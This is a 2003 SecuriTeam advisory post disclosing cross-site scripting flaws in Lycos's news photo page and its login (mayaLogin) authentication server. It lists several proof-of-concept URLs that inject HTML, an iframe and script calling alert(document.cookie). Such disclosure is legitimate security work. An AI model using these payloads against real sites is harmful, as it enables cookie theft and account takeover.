[NEWS] Lycos Authenticating Systems and Lycos News Server Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 06/15/03

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      Lycos Authenticating Systems and Lycos News Server Vulnerabilities
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    SUMMARY

    A cross site security vulnerability has been discovered in Lycos's
    Authentication servers. The vulnerability allows remote attacker to inject
    code into the form that handles the login process.

    DETAILS

    Examples:
    http://news.lycos.com/news/photo.asp?section=BreakingPhotos&photoId=352417">< H1>xss in Lycos WebSites</h1>

    http://news.lycos.com/news/photo.asp?section=BreakingPhotos&photoId=352417">< script>alert(document.cookie);</script>

    http://news.lycos.com/news/photo.asp?section=BreakingPhotos&photoId=352417">< iframe></iframe>

    http://ldbauth.lycos.com/cgi-bin/mayaLogin?m_CBURL=">< h1>XSS in Lycos
    Authenticating Servers</h1>< a href="

    http://ldbauth.lycos.com/cgi-bin/mayaLogin?m_CBURL="><
    script>alert(document.cookie);</script>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:novappc@novappc.com> Lorenzo
    Hernandez Garcia-Hierro.

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